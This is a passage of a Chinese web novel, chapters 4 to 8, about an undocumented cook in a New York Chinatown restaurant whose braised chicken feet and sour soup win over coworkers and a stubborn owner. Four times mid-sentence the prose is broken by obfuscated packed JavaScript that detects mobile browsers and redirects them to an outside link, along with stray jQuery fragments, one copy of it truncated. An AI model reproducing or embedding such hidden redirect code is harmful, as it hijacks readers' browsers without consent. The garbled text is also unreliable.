琼恩没急着动刀叉，而是凑近后反复闻了很多遍，“里面放的是什么？是药吗？这味道有些说不上来。” 沈瑶：“是一些调味料，肉桂、香叶、八角这些。” 沈瑶说的那些名称，琼恩只认得肉桂这一样。 可这不是烤面包时才会放的吗？ 看着炖成深色的土豆片，还有泡发膨胀到几乎两倍大的鸡爪，琼恩只是用刀叉戳了戳，还是不敢尝它们的味道。 不是不相信沈瑶的手艺，可……这一桶料理看着确实太难以下口了，尤其是这鸡爪子。 鸡爪每天都会踩在粪便上，而且并没有多少肉，怎么能做成菜呢？还有这一锅放了乱七八糟的卤料，里面不知道放了多少酱油，看着就知道很咸。 医生说了，他的血压高，还是尽量少吃盐分高的食物比较好。 “谢谢你的好意，不过我还是不吃这么多了，”为了不辜负沈瑶，琼恩用叉子把鸡爪和那不知道什么皮的东西推开，只叉起了一片土豆，“这一片土豆就够了。” 小口地咬下一点，细细咀嚼，琼恩的表情倏地停顿了一下。 看着那片土豆，他不可思议地一边嚼着，一边用脑海里有限的词形容道：“这味道……像是商场里卖的香水。” 他不是说味道像香水，而是说这混合了乱七八糟的调味料像香水一样，装在瓶子里的时候是刺鼻的、浓烈的，可当浸入到衣服上时，却会变成花香、果香、木质香。 卤料里放了花椒和辣椒，不停地刺激着舌尖上的味蕾，同时也刺激口腔不停分泌唾液，催促着他赶紧把这咯吱脆的土豆片咽下去。 说好只吃土豆，可这麻辣带香的味道简直太上瘾了，还没来得及咽下去，他就又用叉子挑了几块吸满了红油和卤汁的豆腐皮。 叽…… 一口下去，豆腐皮在他的嘴里爆了汁。 琼恩是不想吃太咸的，可这并不是单纯的咸，而是咸中带鲜、鲜中带香、香中又有几分辣的丰富滋味，让他忍不住一口就吞了下去。 “味道怎么样？” 琼恩嚼着嘴里的豆腐皮，一个劲儿地摇头，“不行了，实在是太好吃了！我感觉我再吃下去，我高血压就要犯了。” 可当沈瑶伸手想把碗拿回来时，琼恩又说：“但就算是要住院，我也一定要把这一碗吃干净！” 沈瑶笑着给他倒了一杯水，“慢点吃，喝点水。” 碗里的卤菜吃得差不多了，只剩下几只浓酱色的卤鸡爪。 鸡爪卤得软烂，刚才从保温桶里夹出来时，有一只都从中间折断了。 露出的那一段鸡爪筋被炖出了透明的胶质，表面浇了几滴卤汁，乍一看犹如一块晶莹琥珀，鸡爪皮看着皱巴巴的就像是包裹在琥珀外面的老树皮。 刚才吃着只觉得香，这会儿，卤菜的辣味才逐渐透上来。 吸着微微发麻的嘴唇，哪怕碗里的鸡爪在duangduang地左右摇晃，勾引着他的食欲，可琼恩还是有些犹豫地问，“鸡爪子，真的可以吃吗？” “真的可以，实在不行，要不你闭上眼试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578425|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试看？” 叉起那半截鸡爪，虽然是第一次，但琼恩还是壮着胆子把它全部放进了嘴里。 吸溜？ 嗯？ 是什么东西在嘴里滑来滑去？ 琼恩以为吃鸡爪子是要嚼的，可他还没用力，鸡爪子上的鸡皮和那一点点瘦肉就这么被嘬了下来。 先炸后煮的鸡爪被卤得软烂，根本不需要费力，骨头和肉就完全分离了。 嚼着嘴里软烂到像纸皮一样的鸡爪皮，还有Q弹滑嫩的鸡爪筋，这奇妙的口感，像是有两只小精灵在嘴里手拉着手跳舞。 琼恩本以为鸡爪会是土味、鸡屎味，可没想到炖的时间最久的鸡爪，竟然没有一丝杂味，反而吸满了卤汁里最精华的浓香。 这只鸡好像生下来就是吃着卤料长大的，这微微麻辣的滋味，一尝就知道它生前是只火热的小“辣鸡”。 “沈，你简直是个天才！” 吐出不需要啃就变得干干净净的鸡爪骨，琼恩不禁感叹道：“你是怎么想到鸡爪子可以用来做菜的？这味道，上帝啊，简直比烤鸡腿还要香几百倍！” 冬天天冷，喝汤能暖身，但吃点咸香微辣的卤味也能让身子发汗。 用汤勺搅拌着锅里的卤味，沈瑶淡淡地道：“也不算是我发明的，我们家乡的人都这么吃。” 鸡爪、鸡肠、鸡心都是店里处理整鸡剩下的。 反正陈晨是要拿去扔掉的，索性就向他讨来一些，再自己从外面买一点别的素菜，这样每天吃饭时都能额外加一道卤味。 鸡肠和鸡心还好说，这鸡爪可是她昨天晚上收拾了好久的，又用小火炖了将近三个小时，才能做到这么软烂脱骨的程度。 卤了这么一大桶，她一次性也吃不完，正好放到冷库里存着，这样就不用担心变质了。 不止是卤鸡爪，昨天她还顺便腌了一点酸菜呢，不过现在还不能吃，还要等一个月才能打开。 咂着嘴里的滋味，琼恩还有些意犹未尽，一开始说只吃一片土豆，这么一会的功夫就把一整碗卤味都给吃完了，只剩下一捧嗦得干干净净的鸡骨头。 好奇怪，他分明吃了很多啊，怎么感觉没怎么吃呢？ 嘴里还行嚼点，哦不，是嗦点什么。 沈瑶看出了他的想法，于是主动说：“再给你盛一碗吧？我卤了很多呢。” 琼恩咽了咽口水，“不了不了，这会先不吃了，等下午再说吧。” 卤鸡爪和卤菜是好吃，可总觉得少了点什么别的。 要是能配点主食吃就更好了，最好再来一瓶啤酒，边吃边喝，那才是真正的人间美味！ 帮着沈瑶把保温桶放到冷库的角落，琼恩忽然想到了什么，“沈，你的鸡爪做了这么多，有没有想过让陈帮忙在店里卖？你这味道很棒，真要是卖得火了，说不定还能多赚一笔钱呢！” 在陈记卖？ 沈瑶没想这么多，她一开始只是想做些自己吃，节省一些伙食费而已。 要是能拿出来卖…… 等等，这确实是个好主意啊！ 5. 第 5 章 “不行。” 快速搅拌着碗里的鸡蛋，比手上动作更干脆的，是陈晨的回答。 “我开的是餐厅，你以为是杂货铺吗？什么乱七八糟的东西都能在我的店里卖？” 从琼恩的面前走过，当看到沈瑶捧着的那一碗卤味时，他的表情略带了几分的嫌恶，“陈记之所以能开几十年，靠得是最正宗的广式味道，不是这些……东西。” 他原本是想说“垃圾”的，但想着沈瑶是女生，便没有说得太直接。 琼恩坚持道：“你先尝尝？沈做的鸡爪确实好吃，在店里卖的话，一定不会影响陈记的口碑。” 把打好的蛋花倒进锅里，陈晨有些烦了，“不吃，不就是一些卤味吗？我也会做，可关键是，这里是纽约，根本没有人会吃这些毫无价值东西。” 陈晨嘴上说着讨厌，可目光总会偷偷瞟向那一碗卤味。 重新热过的卤汤香味比第一次更加浓郁，表面飘着一层鸡爪上融化的脂肪，光是闻着就知道味道一定好吃，这要是倒在一碗清汤面上，再撒一点葱花和香菜…… 喉结上下滚了滚，陈晨努力克制着嘴里的口水，“自己做着吃还行，想在我的店里卖就别想了。” “陈记不说有多高档，可也是唐人街的老店，我不允许这些劣质的食物出现在陈记的菜单上。” 陈晨有很严重的地域歧视，哪怕他是对待食物，也会像地域一样划分出三六九等。 东南沿海的食物是最高档的，因为突出了食材本身特有的滋味；中部华北地区的食物算是中档水平，中规中矩，没什么有点也没明显的缺点。 最下等的，就是西部的那些食物。 不是麻、就是辣，完全抹杀了食材在烹饪中的重要性，也只有不发达地区的人，才会追求这种舌尖上短暂的刺激罢了。 真要在店里卖了，就等于是拉低了陈记的层次。 劣质？ 沈瑶可以接受他不肯售卖自己的卤味，但不能接受他这样的评价。 她热爱每一样食材，尊重每一种味道，每一道出自她手的菜肴都是她精雕细琢的作品，她不允许别人的诋毁。 “食物没有高低贵贱，味道对每个人也都是平等的。只有给自己塞进三六九等的人，才会把食物塞进优良中差的方框。” 睨了眼灶台上那一排正在“咕嘟咕嘟”冒泡的炖汤，沈瑶淡淡地道：“算了，不用求他了，连广式炖汤的精髓是什么都不知道，说再多也是浪费时间。” “你……！” 沈瑶的那句话，同样戳到了他的痛处。 炖汤的精髓？他怎么可能不知道炖汤的精髓！他可是从小就开始喝爷爷炖的靓汤，没有人会比他更懂陈记炖汤的精髓！ 可，可是…… 现在他炖出来的味道，确实和爷爷当年炖出来的有一丝丝区别，尽管他的每一步都是按照食谱来做的。 应该是年龄大了，味觉产生了变化而已。 他还就不信了，区区一个服务员会懂得什么广式炖汤的精髓。 来到收银台，沈瑶把那一碗卤味重重磕在桌子上，拿起抹布忿忿地在台面上擦了两圈。 “沈，你别生气，陈说话就是这样。”琼恩安慰她道。 沈瑶的气来得快，去得也快，长长地叹一口气后，她手上的动作逐渐慢了下来。 刚才之所以敢直着怼回去，是出于她曾经也是一名厨师的身份。 身为厨师，是不允许别人诋毁食物的。 可当她回过神来后，才想起了自己现在只是餐厅里的一个临时工。 还好，还好刚才没有吵得太凶。 否则刚才陈晨要真因为这件事把她开除了，那她肯定会丢了工作，继续睡公园长椅的。 琼恩：“没事，卖不了就不卖吧，我们自己吃。” 沈瑶勉强抬起唇角，点点头，“嗯，反正本来就是做着自己吃的。” 其他服务员也跟着一起安慰沈瑶道：“不卖也挺好的，真要卖了肯定脱销，我们可就吃不到了。” “是啊是啊，我们都还不够吃呢。” 看他们都这么喜欢自己做的卤味，沈瑶心里自然是高兴的。 但要是不能靠卖卤味的方式多赚点钱，那她的签证可就更加遥遥无期了。 沈瑶之前托领班去外面打听过，像她这样的黑户要转正该怎么办。 假结婚是一种方法，不过她更偏向于补全身份文件的方式。 原主在国内就是超生没身份证的黑户，就算是回去她也不会有更好的出路，所以经过一番慎重后，沈瑶决定想办法留在纽约。 她不能一直当偷渡客，必须快点想办法拿到身份。 可身份文件不是那么容易办理的，领班告诉她，至少需要一万刀才能把所有的文件都办好。 一万刀，对现在的沈瑶来说，简直就是一笔天文数字。 她一天的工资才六十刀，除去吃饭喝水买衣服这些日常的开销外，这么多天她才攒了不到一百刀。 按照这样的速度，恐怕要三四年才能拿到身份了。 不过，冬天是陈记餐馆的旺季，以后的食客一定会越来越多，只要她努力工作，多攒一些小费，应该也能加快攒钱的速度吧…… 与此同时，在餐馆另一头的厨房里，陈晨正鬼鬼祟祟地拿着筷子，夹起那一片挂在锅沿上的豆腐皮。 沈瑶刚才用这口锅热了几样卤味，原本是拿给他尝味的，可在他拒绝后就给端走了。 所以陈晨只闻到了辣卤的香味，并没尝到是什么味道。 趁没人看到，他快速把那一片豆腐皮递到嘴里。 刚入口是一股淡淡的甜，紧接着便是卤料的辛香，咀嚼的过程中，花椒的麻和辣椒的辣也开始缓缓透了出来，各种味道被她调和的刚刚好，不会过于呛鼻，却足以红了他的耳朵。 他之前吃过唐人街别家的川式卤味，只记得鸡腿的味道很辣、牛肉里也有很多辣椒，过瘾归过瘾，但他绝对不会花钱买第二次。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578426|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但沈瑶做的卤味…… 咂了咂嘴后，他又夹了一截海带。 嗯，香！ 香辛料的味道很浓，却谁都没有抢了谁的风头，甚至是最突出的麻辣也是让人可以接受的程度，偶尔能咬到几颗熟芝麻，一下子就增加了味道的层次。 锅里剩得东西不多，找了半天，他才找到几根鸡爪的指头。 先炸后卤的鸡爪糯得很，经过回锅加热后更软烂了，筷子轻轻一夹就断成了两截。 陈晨好不容易才捞起一小点鸡爪，放进嘴里轻轻一抿，瞬间就脱骨了。 她炖了多久？竟然能把鸡爪炖得这么软烂入味！ 鸡爪的腥味最难处理干净，可沈瑶做的鸡爪却尝不出半点土腥味，只有抿开时那股浓郁的酱料香。 这绵糯的口感根本不像是鸡爪，更像是用肉做的棉花糖。 看着只剩下卤汁的锅，陈晨嗦了嗦筷子，心里有点后悔了。 后悔刚才没先把卤味吃了，再拒绝她要卖的请求。 不对，应该是在下午店里休息的时候拒绝才对，这样他就能就着那一碗卤味，狠狠地干掉两碗大米饭了！ 但是他却不后悔拒绝了她。 要是真让她在自己店里卖卤味，一定会卖得火热，那以后来店里的食客，还会有多少人是冲着陈记的招牌呢？ …… 从下午五点半开始，来陈记的客人越来越多，往日没什么生意的餐馆竟然排起了长队。 大家都是冲着陈记的滋补靓汤来的，甚至唐人街的别家餐厅也有人来排队买汤。 “欢迎光临！” “这是我们的菜单，各位先看，有什么需要可以叫我。” “两碗鸡汤、一盘炒青菜、两份主食是吗？好的，请稍等。” …… 餐厅里的桌子大大小小加起来有十五张，每个服务生负责五张，各自收各自负责餐桌的小费。 客人多，哪怕只负责五张桌子，服务员也都快忙不过来了。 可沈瑶一个女生，却主动申请要求负责七张桌子，帮其他人分担工作量，这样一来，她就能多赚一些小费，离自己的签证更近一点。 从五点半到九点半，四个小时里，沈瑶像是一只高速运转的陀螺，不停地在餐桌之间旋转，累得连喝一口水的时间都没有。 还好，皇天不负苦心人，四个小时的忙碌总算是让她收了将近五十刀的小费。 算上今天的日薪，那她的工资就破百啦！ 距离快下班只剩下最后半个小时了，见没有客人再来，陈晨这才挂上打烊的牌子，开始给店里的临时工们发工资。 工资第一次超过一百刀，沈瑶兴奋极了，当陈晨叫到自己的名字时，“蹭”地一下就举起了手。 “沈。” “到！” “你的。” 接过陈晨递来的几张绿票子，沈瑶的笑容倏地僵在了脸上，“不应该是六十刀吗？为什么只有这么一点？” 6. 第 6 章 四十刀，比正常的日薪少了整整三分之一！ 继续数着手里的钱，陈晨却轻描淡写道：“这是冬季正常的时薪，你入职那天我没跟你说过吗？” 沈瑶：？？？ 什么正常时薪？什么时候说过！ 把数好的钱放好，陈晨这才淡淡然地解释说：“冬季和夏季的时薪不一样，用餐高峰期是正常的五刀，像下午、上午、晚上八点之后，就是三刀。” 不止是针对临时工，店里其他员工的工资到了冬季也会进行这样的调整。 陈记餐馆就数冬天的生意最好，尤其是冬季的晚餐时间。 门外有大把排队等着吃饭的食客，一晚上的营业额，能抵得上夏季的两三天。 陈晨是老板，是吸血不分男女老少的资本家。 就算冬季生意火爆，也要想方设法地从员工手里抠出来一点。 客人多了，小费自然就水涨船高，他无权索要员工的小费，却可以在时薪上动心眼子。 削了闲时的时薪，这样一来，就算服务生拿再高的小费，加起来也不会比平常高多少。而对服务生来说，虽然底薪降了，但总体来说还是比夏季多赚了十来刀。 就像是给干活的牛马多喂了半根胡萝卜，看似是牛马吃得多了，实际上还是老板赚了。 陈晨不怕服务员离职。 一是从整体来说，他们赚得比平常多，不会轻易辞职；二是劳动力廉价，尤其是黑户和有不良记录者，就算辞了，他也很快能找到人补上。 “不过，现在我也不会强迫你们工作十二个小时。” 陈晨在节省开支的情况下，又让了一步，“你们可以在店里人少的时间段去外面兼职，只要能保证店里时刻有人，到了晚餐时间不会耽误客人用餐就行。” 陈晨巴不得他们白天都去兼职呢，这样他连一小时三刀的钱都能省下来。 沈瑶沉默不语，只是紧紧攥着手里拿四十块的工资。 好不容易在黑暗中看到一点光，没想到…… 明天，明天她就出去找兼职。 要是能找到更好的工作，她一定会立刻离开这里！ —— 陈记的工作时间被分成了三个时间段，每个时间段有四个小时，服务员可以外出兼职，但每天必须上够八个小时，且晚上一定要在店里。 为了能早点离开陈记，沈瑶连续几天都早起出去找工作。 都说九十年代的纽约处处充满商机，包容着来自世界各地的野心家，可沈瑶偏偏不在其中。 现在是外交敏感时期，一看她是亚洲面孔，又没有签证，别说入职了，就连面试的机会都不给她。 清洁工、服务员、垃圾回收员……几天内，沈瑶被拒绝了无数次，别说全职，连兼职都没能找到一份。 “我回来了。” 下午两点四十，面试被拒的沈瑶无精打采地推开了陈记的门。 店里的员工们正在吃午饭，每个人脸上的表情都一言难尽。 看到沈瑶回来，一个个都跟向日葵看到太阳一样，急切地伸长了脖子。 “沈，那种辣辣的鸡爪子还有吗？” “没有鸡爪，鸡肠也行，豆腐和土豆也可以啊。” “听说你在冷库腌了白菜，应该能吃了吧？” 换上店里那套深红色的制服，沈瑶一边系上围裙一边道：“没了，本来还剩一点，不过琼恩说他想当下酒菜，所以昨天就都让他打包带走了。” 店里每天都有好多鸡爪子和鸡杂，可最近为了找工作，沈瑶都没什么时间做辣卤。 “琼恩呢？”沈瑶问道。 “还没来，要是昨晚喝酒的话，估计这会还没睡醒呢。” 沈瑶瞥了一眼厨房的方向，忙活了一中午的陈晨，这会正在给自己做饭。 坐在卡座上，见大家都不怎么动刀叉，沈瑶又问：“怎么不吃？” 众人没说话，只是用叉子划拉着餐盘里炖得毫无颜色的鸡肉。 腻了。 每天的员工餐都是炖鸡，是个人都吃腻了。 陈记的炖鸡汤卖得最好，所以冷库里的鸡也最多，中午招待食客时，陈晨索性多炖一只，配上一点面包或者土豆玉米，就成了他们的员工餐。 前天是炖鸡，昨天是炖鸡，今天又是炖鸡，天天吃鸡，都给他们吃出口腔溃疡了。 以前总盼着陈晨能做点好的，现在吃上好的，却也吃腻了。 嗤！ 番茄下锅时，热油激出了阵阵的酸甜，和炒好的肉酱混合在一起，增加了几分清爽，这时候，再倒进煮好的意面快速搅拌收汁，最后撒上一点罗勒叶点缀。 一盘酸甜开胃的番茄肉酱意面就这么出锅了。 整天吃鸡、吃鸭、吃排骨，陈晨也觉得腻，所以就给自己做了一盘意面换换口味。 端着餐盘从厨房出来，员工们的目光都盯在那鲜艳可口的橘红，和那几碎嫩绿上…… 唉，要不是因为员工餐是免费提供的，他们也想买一碗意面来吃。 哪怕里面没有肉酱，有酸酸甜甜的番茄能解腻就好。 沈瑶倒是没吃腻这没完没了的炖鸡，可是今天天气没那么冷，中午那会的温度都快到二十度了，清淡的炖鸡配上无味的煮土豆，确实让她提不起什么胃口。 唔，她也想吃点酸甜开胃的。 听着陈晨吸溜面条的声音，沈瑶向他问道：“我可以用下厨房吗？” 陈晨的心情似乎不错，咀嚼着嘴里的面条，他头也没抬道：“厨房里还剩了一点番茄，想吃就自己做。” “面粉可以用吗？”沈瑶又问。 陈晨：“可以，但不能用太多。” 陈晨虽然是个没什么良心的资本家，可也会对员工们薅自己羊毛的行为，睁一只眼闭一只眼，只要别太过分，他都可以当做不知道。 挽起袖子，来到厨房时，沈瑶看到了案板上剩下的一个半番茄。 炒好的肉酱不多，只剩下小半碗，肯定不够他们五六个人分。 不过没关系，反正她也不打算用。 点开燃气灶，沈瑶把炖鸡剩下来的鸡汤重新倒进了锅里。 鸡汤没有完全冷却，很快就又咕嘟咕嘟冒起了泡泡。 众人本想凑过来围观，看看沈瑶又要做什么美味，可这闻到想吐的鸡汤瞬间就把他们给熏走了。 吃了这么多天的鸡，她竟然还不腻，不仅要吃鸡，连汤都要喝啊？ 可锅里的鸡汤沸腾了没一会，从厨房里涌出的香气就发生了变化。 嗯？她加了什么？怎么有股大海的味道？ 仿佛是有一只鸡在海边快速奔跑，溅起了一片片的浪花。 再次走到门口时，沈瑶的手里正拿着一坨面团，在几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578427|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根手指熟练地相互配合下，一搓、一捻、一拉，面团便成了一片片一寸宽、三寸长的面片。 她是在变魔术吗？ 一片接着一片，他们还没看清她手上的动作，面团就如同飘落的叶子，接连不断地落进了锅里。 沈瑶喜欢做菜，哪怕今天找工作不顺，但做菜的时候也会心情大好。 把所有的面叶都下进去后，沈瑶拿起勺子搅了搅锅里的面叶，随后又转身开始在汤勺里调味。 香菜、香葱、番茄丁、白胡椒粉、味精、盐还有香油…… 再次将汤勺在锅里快速搅拌，除了紫菜和海带的味道外，锅里瞬间又增添了更多的鲜香。 他们已经不知道该怎么形容了，只是一味吞咽着口中不断分泌的口水。 啪嗒。 燃气灶被关闭，正当众人以为可以出锅的时候，沈瑶这才请上了这锅汤的主角。 一勺，两勺，三勺…… 陈醋下锅时，氤氲的热气裹挟着阵阵酸味瞬间在厨房里炸开。 光是番茄的酸味还不够，只有陈醋才能起到画龙点睛的作用，化开的陈醋并不刺鼻，有的只有粮食酿造后的酸香。 沈瑶：“好了，可以吃了~” 将那一锅汤缓缓倒进一只大碗里，汤汁翻涌的“咕噜咕噜”声，简直和大家肚子里的馋虫叫得一模一样。 虾皮、紫菜、番茄丁、鸡蛋花。 原本飘着一层油的鸡汤彻底改头换面，成了一锅鲜香开胃的酸汤。 深色打底，配上点点的红和绿，还有几片小鱼一样的面叶、上下游荡的虾皮，美得像是一幅画，简直就是把大海给倒进了碗里。 也顾不得烫了，领班迫不及待地舀起一小勺吸溜着。 “耶稣啊，这汤怎么能这么好喝？” “这真的是鸡汤炖的？”咂了咂嘴，另一个人同样惊讶道，“我只尝到了海鲜的味道。” “是啊，酸酸甜甜的，还有一点麻麻的口感。” 再尝一片薄薄的面叶，滑不溜丢的口感恨不得顺着舌头直接滑到胃里。 不止是尝过的员工，坐在几米之外的陈晨也被这股酸香可口的味道勾起了馋虫。 比起自己盘子里的肉酱面，似乎那一锅素汤会更加好吃。 赶得早不如赶得巧，沈瑶正盛着汤呢，迟来的琼恩便推开了餐馆的门。 沈瑶：“琼恩，来得正好，还没吃饭吧？我给你盛一碗。” 琼恩昨天喝了很多酒，脸上还有未醒的宿醉。 酸汤的味道一股股往鼻腔里钻，替他驱赶着脑子里的酒精。 走进厨房，琼恩来到沈瑶身旁，对着那一口锅深深地吸了一口气，“好香啊，我感觉我能喝两碗。” 沈瑶笑道：“喝吧，喝多少都行。” 琼恩没急着去端她盛好的汤，而是顺手把什么东西塞进了她的上衣口袋里。 低头一看…… 沈瑶：？？？ 是钱，厚厚的一沓钱！ “哪来的这么多钱？” 沈瑶没数多少，只看到这钱差不多有一指厚。 “天啊，你不会喝醉后去抢银行了吧？” 琼恩：…… 说着，琼恩又从自己另外一只口袋拿出一把硬币，哗啦啦地倒在了桌子上，“是啊，小姐，银行的柜台里一共就一百多刀，全被我抢来了。” 7. 第 7 章 沈瑶看得不仔细，等把口袋里的那一沓钱拿出来后，才看清原来都是些一刀两刀的小面额钞票。 厚厚的一沓，每一张都有被揉皱的痕迹，是琼恩把它们一张张展开，叠得整齐。 “一共是一百四十七刀，七十……五美分。” 又从口袋里抓了一把，把所有硬币都掏出来后，琼恩还把口袋翻过来抖了抖，确定里面没有硬币才放心。 “你数数吧。” 琼恩的脑子还没完全清醒，但口袋里揣了多少钱却记得清清楚楚。 硬币掉在桌子上发出一串“哗啦啦”的脆响，外面的人还以为是刀叉碰撞的响声，只有沈瑶知道，这是金钱的欢笑。 看着琼恩给自己的钱，沈瑶愣了半天，一张口，舌头差点打了结：“这，这钱哪来的？” 捧起碗尝了一口沈瑶刚炖好的酸汤，酸香清麻的滋味一下子赶走了他身上的寒意，手和脚也变得暖和起来。 宿醉后就该喝上这么一碗爽口的酸汤，要是还让他吃炖鸡，油腻的味道指定会让他把昨晚的夜宵给吐出来。 还是沈瑶最懂他，做得饭菜也最合他胃口。 咂了咂嘴，琼恩淡淡道：“你昨天让我拿走的卤味，我给卖了。” “竟然能卖这么多吗？”沈瑶有些惊讶。 “不止，”琼恩又喝了一口汤，“我还吃了一部分，要不肯定能卖二百刀。” 琼恩昨天约了几个老朋友喝酒，想着沈瑶的辣卤最适合下酒，就让她给自己装了一些。 沈瑶也大方，担心他们不够吃，就把半只保温桶的辣卤全都给他装起来了。 因为一直在冷库冻着，回家后，琼恩就先把卤味放在锅里热了热，却没想到这股浓香甜辣的滋味会溜进公寓里的楼道，钻进每一家的房门。 冬天，谁都想吃一点能暖身驱寒的美味。 这混合了调味料和胶原蛋白的滋味，闻得人直流口水，尤其是在还未入睡的前半夜，不少人都被这从没闻过的香味勾得睡不着觉。 是谁家炖肉？不对不对。 里面好像有肉桂？唔，好像还不止。 勇敢者先享受美味。 不少人都顺着香味敲开了琼恩的房门。 他们一开始只是想问问他是从哪买的美味，明天也要买一点回来吃。 可当琼恩热情地夹起一小块被炖得完全入味的豆腐皮，让他们品尝一下时，他们就知道，自己等不到明天了。 “这个外面买不到，是我从店里带回来的。” “做得不多，所以的都在这里了。” “真是不好意思，只能给你们尝一点，因为我们还要吃。” 不止是公寓楼里的住户，因为琼恩住在一楼，飘出窗的香味把不少路过的行人也吸引了过来，一边吞咽着口水，一边礼貌地问他在做的家庭美味的配方。 “我出钱买可以吗？” 直到有人提出愿意掏钱购买，一下子就激发了琼恩的灵感。 用汤勺搅拌着锅里炖得软烂入味的辣卤，琼恩把之前从陈记顺来的打包盒全都拿了出来，“素的一样七十五分，鸡爪一根两刀，鸡肠一刀，鸡心一刀……先尝后买，不满意不收钱。” 事实证明，大家和自己一样，不是不吃鸡爪和鸡内脏，只是不吃难吃的鸡爪和鸡内脏而已。 乍一看，是一根炖得丑陋不堪的鸡爪，可当尝过之后才会知道，这简直就是一口吸满了甜香麻辣的胶原蛋白，比肥美的鸡腿肉还要好吃！ 说是不满意不收钱，但只要是尝过的，就没有不拿钱包的，有的甚至就只尝了一片土豆，就赶紧往桌子上拍了十刀，就怕给钱晚了，会被卖光。 将近十斤的卤味，不到两个小时就被琼恩卖掉了一大半，有人甚至还给他留了联系方式，说是如果下次还有卤味一定要第一时间给他打电话…… 听着琼恩的描述，沈瑶激动极了，眼眶不禁充盈了泪水。 “谢谢你，琼恩，真的谢谢你！” 沈瑶把钱整理好，准备只收下二十刀，然后把剩下的都交还给琼恩。 毕竟他才是出力售卖的人，他应该收下大头。 可当她把钱递过去的时候，却被他挡住了，“收下吧，你更需要这笔钱。” 将两份钱重新放在一起，琼恩将手搭在她的手上，温声道：“多赚点钱，这样就能早点拿到签证留下来了。” “以后你可以继续做卤味，陈不让在店里卖，那就出去卖，卖给曼哈顿那些住在公寓里的人，卖给华尔街那些上班精英，卖给百老汇的那些看客。” “不用担心，我会帮你的。你做得这么好吃，我相信你，一定能卖出去，赚很多很多的钱！” “琼恩……” 沈瑶的眼睛更红了，一时间，她不知道该说些什么。 来到异国他乡，琼恩是第一个对她好的人，也是对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578428|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最有善意的人。在陈记工作这么久，一直是琼恩在默默地照顾她。 虽然琼恩和她有着不同的肤色，但她却感受到了像父亲一样的关怀。 沈瑶不知道怎么表达对他的感激，只能回以一个热烈的拥抱：“谢谢你，琼恩，你对我真的太好了，我都不知道该怎么报答你了。” 轻拍着她的后背，琼恩只是淡淡地笑着，“以后做好吃的能多给我留一点，就当作报答了。” 厨房外，大家都在“吸溜吸溜”地喝着沈瑶煮的酸汤面叶，像是下水道里没吃过饭的老鼠一样，三两口就把一碗汤喝了个干净。 陈晨倒是没觉得他们喝汤声有多刺耳，也不反感他们对沈瑶手艺的夸赞，但…… 铛铛！ 用指关节叩击着桌面，陈晨冷淡地喊了一声在厨房里的沈瑶：“沈，我渴了，给我倒点喝的。” “哦，好的。” 擦了擦脸，沈瑶把桌子上的钱都收起来后，顺手拿了只杯子接满了水。 来到陈晨的桌子前，沈瑶把水杯放在他手边，还贴心地放了一张纸巾：“你要的水。” 陈晨皱了下眉，不悦道：“吃面应该配水吗？” 沈瑶没说话，转身又重新给他倒了一杯咖啡过来。 “你要的咖啡。” 陈晨更无语了，索性放下了手里的叉子，“我也不想喝咖啡。” “那你要喝什么？”尽管沈瑶的心情不错，但还是不想忍受他的刁难，“要喝酒吗？啤酒还是威士忌？你一次性说出来吧。” “我！” 沈瑶急，陈晨更急。 他可是陈记的老板哎，原本是不想低头的，可是…… 重重地呼出一口气，陈晨索性靠在了椅背上，没好气地抱怨道：“你煮了那么大一锅汤，每个人都有，我可是老板，难道你就不知道要主动给我盛一碗吗？”说到最后，他还不忘小声嘀咕一句，“亏得我常跟店里员工夸你有眼色。” 哦，原来是想喝汤啊~ 害，都是成年人了，有话直说就好了嘛，干嘛还要搞小孩子的这一套，让人猜半天。 沈瑶忍不住抬了下唇角，像逗小孩子一样，回他说：“想喝汤啊，但我好像没有听到你说‘请’给我盛一碗汤哎。” 陈晨：…… 虽然满心不情愿，但在酸香鲜烫的味道下，陈晨还是乖乖低了头：“沈小姐，请，给我盛一碗汤，谢谢。” 8. 第 8 章 这是沈瑶第一次外出摆摊，一大早，她就起来开始准备。 